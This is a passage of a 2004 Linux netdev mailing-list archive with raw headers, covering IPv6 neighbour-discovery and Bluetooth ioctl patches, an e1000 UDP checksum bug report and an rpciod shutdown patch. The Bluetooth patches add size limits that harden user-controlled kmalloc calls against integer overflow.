+0900 (JST) Date: Sat, 07 Feb 2004 19:28:04 +0900 (JST) Message-Id: <20040207.192804.29120956.yoshfuji@linux-ipv6.org> To: mika.penttila@kolumbus.fi Cc: kazunori@miyazawa.org, davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <4024A488.60203@kolumbus.fi> References: <4023D6FB.9010909@kolumbus.fi> <20040207.131455.27570445.yoshfuji@linux-ipv6.org> <4024A488.60203@kolumbus.fi> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i17ARBKO019916 X-archive-position: 3087 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1345 Lines: 34 In article <4024A488.60203@kolumbus.fi> (at Sat, 07 Feb 2004 10:40:40 +0200), Mika Penttilä says: > >The ip6_output2() resolves and inserts link-layer address appropriately. > >If it did, we would have noticed (by conformance test or even by > >usual operation). ;-) > > > > > ip6_output2() doesn't resolve link-layer addresses. We don't even have a > neighbour, in > ndisc_dst_alloc(dev, NULL, ip6_output2); case. ip6_output2() calls ip6_output_flinish(). ip6_output_finish() calls dst->hh->hh_output() if hh is already built. Otherwise, dst->neighbour->output() is called and it resolves link-layer address of neighbor. I think you missed our ndsic_dst_alloc() change. ndisc_dst_alloc() takes 4 argument: struct dst_entry *ndisc_dst_alloc(struct net_device *dev, struct neighbour *neigh, struct in6_addr *addr, int (*output)(struct sk_buff *)); If neigh is NULL, we do ndisc_get_neigh(dev, addr) to get one. > You just described how the normal link layer address resolving goes. It > doesn't apply here. Again, there is no dst->neighbour. There IS with our patch. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From marcel@holtmann.org Sat Feb 7 03:14:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 03:14:14 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17BE4KO022629 for ; Sat, 7 Feb 2004 03:14:05 -0800 Received: from pegasus (p5082BACF.dip.t-dialin.net [80.130.186.207]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i17BETV4011048; Sat, 7 Feb 2004 12:14:29 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: Andi Kleen Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040207032428.56ffbebc.ak@suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> Content-Type: text/plain Message-Id: <1076152411.14418.73.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sat, 07 Feb 2004 12:13:31 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 3088 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev Content-Length: 2829 Lines: 79 Hi Andi, > > > diff -u linux-2.6.2-work32/net/bluetooth/hci_sock.c-o linux-2.6.2-work32/net/bluetooth/hci_sock.c > > > --- linux-2.6.2-work32/net/bluetooth/hci_sock.c-o 2004-02-05 08:09:54.000000000 +0100 > > > +++ linux-2.6.2-work32/net/bluetooth/hci_sock.c 2004-02-05 14:57:59.000000000 +0100 > > > @@ -392,6 +392,8 @@ > > > > > > skb->pkt_type = *((unsigned char *) skb->data); > > > skb_pull(skb, 1); > > > + /* AK: looks broken. Who guarantees that hdev doesn't go away while > > > + the skb is queued ? */ > > > skb->dev = (void *) hdev; > > > > > > if (skb->pkt_type == HCI_COMMAND_PKT) { > > > > Why should hdev go away? > > Because the skbuff is queued, but there is no reference count to keep the device around. > I wasn't 100% sure on that, so I just commented it. Feel free to remove if you think > it's correct. The queue itself is part of the hdev structure and the only call that let hdev go away is hci_unregister_dev and this clears the queue. So I don't see a problem here. > > > diff -u linux-2.6.2-work32/net/bluetooth/hci_conn.c-o linux-2.6.2-work32/net/bluetooth/hci_conn.c > > > --- linux-2.6.2-work32/net/bluetooth/hci_conn.c-o 2004-02-05 08:09:54.000000000 +0100 > > > +++ linux-2.6.2-work32/net/bluetooth/hci_conn.c 2004-02-05 15:06:10.000000000 +0100 > > > @@ -353,21 +353,24 @@ > > > struct hci_conn_info *ci; > > > struct hci_dev *hdev; > > > struct list_head *p; > > > - int n = 0, size; > > > + int n = 0, size, err; > > > > > > if (copy_from_user(&req, (void *) arg, sizeof(req))) > > > return -EFAULT; > > > > > > - if (!(hdev = hci_dev_get(req.dev_id))) > > > - return -ENODEV; > > > + if (req.conn_num >= (2*PAGE_SIZE)/sizeof(struct hci_conn_info)) > > > + return -EINVAL; > > > > > > size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); > > > > > > - if (verify_area(VERIFY_WRITE, (void *)arg, size)) > > > - return -EFAULT; > > > - > > > if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) > > > return -ENOMEM; > > > + > > > + if (!(hdev = hci_dev_get(req.dev_id))) { > > > + kfree(cl); > > > + return -ENODEV; > > > + } > > > + > > > ci = cl->conn_info; > > > > > > hci_dev_lock_bh(hdev); > > > > Why 2*PAGE_SIZE in this case? What is different? > > It's just an arbitary number. Mainly to stop overflow attacks on > user controlled values. e.g. user can pass UINT_MAX for conn_num. > The kmalloc would overflow and succeed. But a later loop running > through the values could do wrong things on the too small buffer. > The code seems to not be vunerable to this, but only by luck. > > Also in general it's good practice to stop user controlled kmalloc > at a reasonable size. I check this. Maybe we have more of them. What do you propose as max size value for kmalloc? 2*PAGE_SIZE or 4*PAGE_SIZE? Regards Marcel From mika.penttila@kolumbus.fi Sat Feb 7 03:26:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 03:26:09 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17BQ3KO023172 for ; Sat, 7 Feb 2004 03:26:04 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004020712431353:6612 ; Sat, 7 Feb 2004 12:43:13 +0200 Message-ID: <4024C1D5.5030906@kolumbus.fi> Date: Sat, 07 Feb 2004 12:45:41 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: =?ISO-8859-1?Q?Mika_Penttil=E4?= CC: YOSHIFUJI Hideaki / ???? , kazunori@miyazawa.org, davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine References: <4023D6FB.9010909@kolumbus.fi> <20040207.131455.27570445.yoshfuji@linux-ipv6.org> <4024A488.60203@kolumbus.fi> <20040207.192804.29120956.yoshfuji@linux-ipv6.org> <4024C0EA.1010904@kolumbus.fi> In-Reply-To: <4024C0EA.1010904@kolumbus.fi> X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 07.02.2004 12:43:13, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 07.02.2004 13:27:25, Serialize complete at 07.02.2004 13:27:25 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i17BQ3KO023172 X-archive-position: 3089 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev Content-Length: 1648 Lines: 60 Mika Penttilä wrote: > > > YOSHIFUJI Hideaki / ???? wrote: > >> In article <4024A488.60203@kolumbus.fi> (at Sat, 07 Feb 2004 10:40:40 >> +0200), Mika Penttilä says: >> >> >> >>>> The ip6_output2() resolves and inserts link-layer address >>>> appropriately. >>>> If it did, we would have noticed (by conformance test or even by >>>> usual operation). ;-) >>>> >>>> >>>> >>> >>> ip6_output2() doesn't resolve link-layer addresses. We don't even >>> have a neighbour, in >>> ndisc_dst_alloc(dev, NULL, ip6_output2); case. >>> >> >> >> ip6_output2() calls ip6_output_flinish(). >> ip6_output_finish() calls dst->hh->hh_output() if hh is already built. >> Otherwise, dst->neighbour->output() is called and it resolves >> link-layer address of neighbor. >> >> I think you missed our ndsic_dst_alloc() change. >> ndisc_dst_alloc() takes 4 argument: >> struct dst_entry *ndisc_dst_alloc(struct net_device *dev, >> struct neighbour *neigh, >> struct in6_addr *addr, >> int (*output)(struct sk_buff *)); >> If neigh is NULL, we do ndisc_get_neigh(dev, addr) to get one. >> >> >> > hmm. where is this ndisc_dst_alloc() change? In the patch it's called > with three params, only the output routine is changed : > > - dst = ndisc_dst_alloc(dev, NULL, ndisc_output); > + dst = ndisc_dst_alloc(dev, NULL, ip6_output2); > > > --Mika > I see, it was in a follow-up patch. Ok, I was just looking at the original patch, which didn't work. But with this ndisc_dst_alloc() change it's ok. Thanks, --Mika From yoshfuji@linux-ipv6.org Sat Feb 7 03:29:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 03:29:07 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17BT3KO023622 for ; Sat, 7 Feb 2004 03:29:03 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 79DDA33CA5; Sat, 7 Feb 2004 20:29:56 +0900 (JST) Date: Sat, 07 Feb 2004 20:29:56 +0900 (JST) Message-Id: <20040207.202956.74336171.yoshfuji@linux-ipv6.org> To: mika.penttila@kolumbus.fi Cc: kazunori@miyazawa.org, davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: (usagi-core 17380) Re: [PATCH][IPV6][NDISC] unify ipv6 output routine From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <4024C1D5.5030906@kolumbus.fi> References: <20040207.192804.29120956.yoshfuji@linux-ipv6.org> <4024C0EA.1010904@kolumbus.fi> <4024C1D5.5030906@kolumbus.fi> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i17BT3KO023622 X-archive-position: 3090 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1270 Lines: 33 In article <4024C1D5.5030906@kolumbus.fi> (at Sat, 07 Feb 2004 12:45:41 +0200), Mika Penttilä says: > >> I think you missed our ndsic_dst_alloc() change. > >> ndisc_dst_alloc() takes 4 argument: > >> struct dst_entry *ndisc_dst_alloc(struct net_device *dev, > >> struct neighbour *neigh, > >> struct in6_addr *addr, > >> int (*output)(struct sk_buff *)); > >> If neigh is NULL, we do ndisc_get_neigh(dev, addr) to get one. > >> > >> > >> > > hmm. where is this ndisc_dst_alloc() change? In the patch it's called > > with three params, only the output routine is changed : > > > > - dst = ndisc_dst_alloc(dev, NULL, ndisc_output); > > + dst = ndisc_dst_alloc(dev, NULL, ip6_output2); : > I see, it was in a follow-up patch. Ok, I was just looking at the > original patch, which didn't work. But with this ndisc_dst_alloc() > change it's ok. Oh my god!! Miyazawa-san failed to export our "correct" code in original patch. I didn't noticed that. We're sorry about it. Thank you for spotting the bug. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From ak@suse.de Sat Feb 7 03:57:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 03:57:41 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17BvYKO024321 for ; Sat, 7 Feb 2004 03:57:35 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B6C5016D176; Sat, 7 Feb 2004 12:57:28 +0100 (CET) Date: Sat, 7 Feb 2004 12:57:23 +0100 From: Andi Kleen To: Marcel Holtmann Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk Subject: Re: some bluetooth fixes Message-Id: <20040207125723.391a1fcd.ak@suse.de> In-Reply-To: <1076152411.14418.73.camel@pegasus> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> <1076152411.14418.73.camel@pegasus> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3091 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 409 Lines: 12 On Sat, 07 Feb 2004 12:13:31 +0100 Marcel Holtmann wrote: > I check this. Maybe we have more of them. What do you propose as max > size value for kmalloc? 2*PAGE_SIZE or 4*PAGE_SIZE? What better fits the intended use case. I don't know how many objects are expected here. Smaller is better probably. If you want to handle more objects this way you should use seq_file instead. -Andi From schwab@suse.de Sat Feb 7 06:18:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 06:18:54 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17EIdKO029846 for ; Sat, 7 Feb 2004 06:18:40 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id C4B8916D39C; Sat, 7 Feb 2004 14:35:45 +0100 (CET) Received: by sykes.suse.de (Postfix, from userid 597) id 3A70D14C9F452; Sat, 7 Feb 2004 14:35:45 +0100 (CET) To: cramerj@intel.com Cc: netdev@oss.sgi.com Subject: Bad UDP checksum with 82540EM From: Andreas Schwab X-Yow: If Robert Di Niro assassinates Walter Slezak, will Jodie Foster marry Bonzo?? Date: Sat, 07 Feb 2004 14:35:45 +0100 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 3092 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: schwab@suse.de Precedence: bulk X-list: netdev Content-Length: 1028 Lines: 26 I'm getting bad UPD checksums in outgoing packets with the e1000 driver (version 5.2.16) in 2.6.1 when using HW checksumming on a HP branded 82540EM on ia64 (TCP works fine). The same driver works fine with an Intel branded chip. The two devices are identified as follows: Model: "Hewlett-Packard Company 82540EM Gigabit Ethernet Controller" Vendor: pci 0x8086 "Intel Corporation" Device: pci 0x100e "82540EM Gigabit Ethernet Controller" SubVendor: pci 0x103c "Hewlett-Packard Company" SubDevice: pci 0x1274 Model: "Intel 82540EM Gigabit Ethernet Controller" Vendor: pci 0x8086 "Intel Corporation" Device: pci 0x100e "82540EM Gigabit Ethernet Controller" SubVendor: pci 0x8086 "Intel Corporation" SubDevice: pci 0x3402 After disabling tx-checksumming UDP is working again. Andreas. -- Andreas Schwab, SuSE Labs, schwab@suse.de SuSE Linux AG, Maxfeldstraße 5, 90409 Nürnberg, Germany Key fingerprint = 58CA 54C7 6D53 942B 1756 01D3 44D5 214B 8276 4ED5 "And now for something completely different." From hch@lst.de Sat Feb 7 06:44:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 06:44:13 -0800 (PST) Received: from mail.lst.de (verein.lst.de [212.34.189.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17Ei8KO030628 for ; Sat, 7 Feb 2004 06:44:09 -0800 Received: from verein.lst.de (localhost [127.0.0.1]) by mail.lst.de (8.12.3/8.12.3/Debian-6.6) with ESMTP id i17Ei5Qc019467 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 7 Feb 2004 15:44:06 +0100 Received: (from hch@localhost) by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id i17Ei5Ts019465 for netdev@oss.sgi.com; Sat, 7 Feb 2004 15:44:05 +0100 Date: Sat, 7 Feb 2004 15:44:05 +0100 From: Christoph Hellwig To: netdev@oss.sgi.com Subject: [PATCH][RFC] use completions instead of sleep_on for rpciod Message-ID: <20040207144405.GA19416@lst.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Spam-Score: -4.901 () BAYES_00 X-Scanned-By: MIMEDefang 2.39 X-archive-position: 3093 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hch@lst.de Precedence: bulk X-list: netdev Content-Length: 2527 Lines: 95 [let's hope some sunrpc folks are on this list, too, the nfs list mentioned in MAINTAINERS refuses postings from non-subsribers..] The rpciod shutdown code gives ugly sleep_on without BKL warnings in -mm. And it looks indeed somewhat racy. The easy fix would be to simply use a completion as in the patch below, but that removes all the signal fuzzing semantics the current code has. I don't really understand why we want to cancel the operation by signals, but I think it'd be better to leave that to people familar with the code anyway.. --- 1.27/net/sunrpc/sched.c Fri Jun 20 22:16:26 2003 +++ edited/net/sunrpc/sched.c Wed Feb 4 06:29:02 2004 @@ -71,7 +71,7 @@ * rpciod-related stuff */ static DECLARE_WAIT_QUEUE_HEAD(rpciod_idle); -static DECLARE_WAIT_QUEUE_HEAD(rpciod_killer); +static DECLARE_COMPLETION(rpciod_killer); static DECLARE_MUTEX(rpciod_sema); static unsigned int rpciod_users; static pid_t rpciod_pid; @@ -950,7 +950,6 @@ static int rpciod(void *ptr) { - wait_queue_head_t *assassin = (wait_queue_head_t*) ptr; int rounds = 0; lock_kernel(); @@ -992,11 +991,11 @@ rpciod_killall(); } - rpciod_pid = 0; - wake_up(assassin); - dprintk("RPC: rpciod exiting\n"); unlock_kernel(); + + rpciod_pid = 0; + complete_and_exit(&rpciod_killer, 0); return 0; } @@ -1041,7 +1040,7 @@ /* * Create the rpciod thread and wait for it to start. */ - error = kernel_thread(rpciod, &rpciod_killer, 0); + error = kernel_thread(rpciod, NULL, 0); if (error < 0) { printk(KERN_WARNING "rpciod_up: create thread failed, error=%d\n", error); rpciod_users--; @@ -1057,8 +1056,6 @@ void rpciod_down(void) { - unsigned long flags; - down(&rpciod_sema); dprintk("rpciod_down pid %d sema %d\n", rpciod_pid, rpciod_users); if (rpciod_users) { @@ -1073,27 +1070,8 @@ } kill_proc(rpciod_pid, SIGKILL, 1); - /* - * Usually rpciod will exit very quickly, so we - * wait briefly before checking the process id. - */ - clear_thread_flag(TIF_SIGPENDING); - yield(); - /* - * Display a message if we're going to wait longer. - */ - while (rpciod_pid) { - dprintk("rpciod_down: waiting for pid %d to exit\n", rpciod_pid); - if (signalled()) { - dprintk("rpciod_down: caught signal\n"); - break; - } - interruptible_sleep_on(&rpciod_killer); - } - spin_lock_irqsave(¤t->sighand->siglock, flags); - recalc_sigpending(); - spin_unlock_irqrestore(¤t->sighand->siglock, flags); -out: + wait_for_completion(&rpciod_killer); + out: up(&rpciod_sema); } From marcel@holtmann.org Sat Feb 7 08:58:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 08:58:24 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17GwJKO003303 for ; Sat, 7 Feb 2004 08:58:20 -0800 Received: from pegasus (p5082B974.dip.t-dialin.net [80.130.185.116]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i17GwjV4013528; Sat, 7 Feb 2004 17:58:46 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: Andi Kleen Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040207125723.391a1fcd.ak@suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> <1076152411.14418.73.camel@pegasus> <20040207125723.391a1fcd.ak@suse.de> Content-Type: multipart/mixed; boundary="=-khpDIt7H5QVmzre/GLkY" Message-Id: <1076173068.2670.4.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Sat, 07 Feb 2004 17:57:48 +0100 X-archive-position: 3094 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev Content-Length: 5239 Lines: 219 --=-khpDIt7H5QVmzre/GLkY Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Andi, > > I check this. Maybe we have more of them. What do you propose as max > > size value for kmalloc? 2*PAGE_SIZE or 4*PAGE_SIZE? > > What better fits the intended use case. I don't know how many objects are expected > here. Smaller is better probably. I now looked carefully through your patch and changed and added some parts to better fit into. I also fixed another RFCOMM refcount bug. Please review it, before I send it to Dave. > If you want to handle more objects this way you should use seq_file instead. The general plan is to move over to sysfs. Regards Marcel --=-khpDIt7H5QVmzre/GLkY Content-Disposition: attachment; filename=patch Content-Type: text/x-patch; name=patch; charset=iso-8859-15 Content-Transfer-Encoding: 7bit diff -Nru a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c --- a/net/bluetooth/hci_conn.c Sat Feb 7 17:52:09 2004 +++ b/net/bluetooth/hci_conn.c Sat Feb 7 17:52:09 2004 @@ -353,21 +353,24 @@ struct hci_conn_info *ci; struct hci_dev *hdev; struct list_head *p; - int n = 0, size; + int n = 0, size, err; if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (!(hdev = hci_dev_get(req.dev_id))) - return -ENODEV; - - size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); + size = sizeof(req) + req.conn_num * sizeof(*ci); - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; + if (size > PAGE_SIZE * 2) + return -EINVAL; if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) return -ENOMEM; + + if (!(hdev = hci_dev_get(req.dev_id))) { + kfree(cl); + return -ENODEV; + } + ci = cl->conn_info; hci_dev_lock_bh(hdev); @@ -381,20 +384,21 @@ (ci + n)->out = c->out; (ci + n)->state = c->state; (ci + n)->link_mode = c->link_mode; - n++; + if (++n >= req.conn_num) + break; } hci_dev_unlock_bh(hdev); cl->dev_id = hdev->id; cl->conn_num = n; - size = n * sizeof(struct hci_conn_info) + sizeof(req); + size = sizeof(req) + n * sizeof(*ci); hci_dev_put(hdev); - copy_to_user((void *) arg, cl, size); + err = copy_to_user((void *) arg, cl, size); kfree(cl); - return 0; + return err ? -EFAULT : 0; } int hci_get_conn_info(struct hci_dev *hdev, unsigned long arg) @@ -407,9 +411,6 @@ if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (verify_area(VERIFY_WRITE, ptr, sizeof(ci))) - return -EFAULT; - hci_dev_lock_bh(hdev); conn = hci_conn_hash_lookup_ba(hdev, req.type, &req.bdaddr); if (conn) { @@ -425,6 +426,5 @@ if (!conn) return -ENOENT; - copy_to_user(ptr, &ci, sizeof(ci)); - return 0; + return copy_to_user(ptr, &ci, sizeof(ci)) ? -EFAULT : 0; } diff -Nru a/net/bluetooth/hci_core.c b/net/bluetooth/hci_core.c --- a/net/bluetooth/hci_core.c Sat Feb 7 17:52:09 2004 +++ b/net/bluetooth/hci_core.c Sat Feb 7 17:52:09 2004 @@ -716,7 +716,7 @@ struct hci_dev_list_req *dl; struct hci_dev_req *dr; struct list_head *p; - int n = 0, size; + int n = 0, size, err; __u16 dev_num; if (get_user(dev_num, (__u16 *) arg)) @@ -724,14 +724,15 @@ if (!dev_num) return -EINVAL; - - size = dev_num * sizeof(*dr) + sizeof(*dl); - if (verify_area(VERIFY_WRITE, (void *) arg, size)) - return -EFAULT; + size = sizeof(*dl) + dev_num * sizeof(*dr); + + if (size > PAGE_SIZE * 2) + return -EINVAL; if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; + dr = dl->dev_req; read_lock_bh(&hci_dev_list_lock); @@ -746,12 +747,12 @@ read_unlock_bh(&hci_dev_list_lock); dl->dev_num = n; - size = n * sizeof(*dr) + sizeof(*dl); + size = sizeof(*dl) + n * sizeof(*dr); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + return err ? -EFAULT : 0; } int hci_get_dev_info(unsigned long arg) diff -Nru a/net/bluetooth/rfcomm/tty.c b/net/bluetooth/rfcomm/tty.c --- a/net/bluetooth/rfcomm/tty.c Sat Feb 7 17:52:09 2004 +++ b/net/bluetooth/rfcomm/tty.c Sat Feb 7 17:52:09 2004 @@ -349,7 +349,7 @@ struct rfcomm_dev_list_req *dl; struct rfcomm_dev_info *di; struct list_head *p; - int n = 0, size; + int n = 0, size, err; u16 dev_num; BT_DBG(""); @@ -362,8 +362,8 @@ size = sizeof(*dl) + dev_num * sizeof(*di); - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; + if (size > PAGE_SIZE * 4) + return -EINVAL; if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; @@ -389,9 +389,10 @@ dl->dev_num = n; size = sizeof(*dl) + n * sizeof(*di); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + + return err ? -EFAULT : 0; } static int rfcomm_get_dev_info(unsigned long arg) @@ -563,8 +564,10 @@ set_bit(RFCOMM_TTY_ATTACHED, &dev->flags); err = rfcomm_dlc_open(dlc, &dev->src, &dev->dst, dev->channel); - if (err < 0) + if (err < 0) { + rfcomm_dev_put(dev); return err; + } /* Wait for DLC to connect */ add_wait_queue(&dev->wait, &wait); @@ -588,6 +591,9 @@ } set_current_state(TASK_RUNNING); remove_wait_queue(&dev->wait, &wait); + + if (err < 0) + rfcomm_dev_put(dev); return err; } --=-khpDIt7H5QVmzre/GLkY-- From gandalf@digital.net Sat Feb 7 09:36:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 09:36:25 -0800 (PST) Received: from lakemtao06.cox.net (lakemtao06.cox.net [68.1.17.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17HaLKO004094 for ; Sat, 7 Feb 2004 09:36:21 -0800 Received: from [192.168.1.94] ([68.0.106.3]) by lakemtao06.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040207173616.HUNQ24575.lakemtao06.cox.net@[192.168.1.94]> for ; Sat, 7 Feb 2004 12:36:16 -0500 User-Agent: Microsoft-Entourage/10.1.4.030702.0 Date: Sat, 07 Feb 2004 11:36:14 -0600 Subject: Fragmentation Attack From: Gandalf The White To: Linux IPStack Message-ID: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-archive-position: 3095 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: 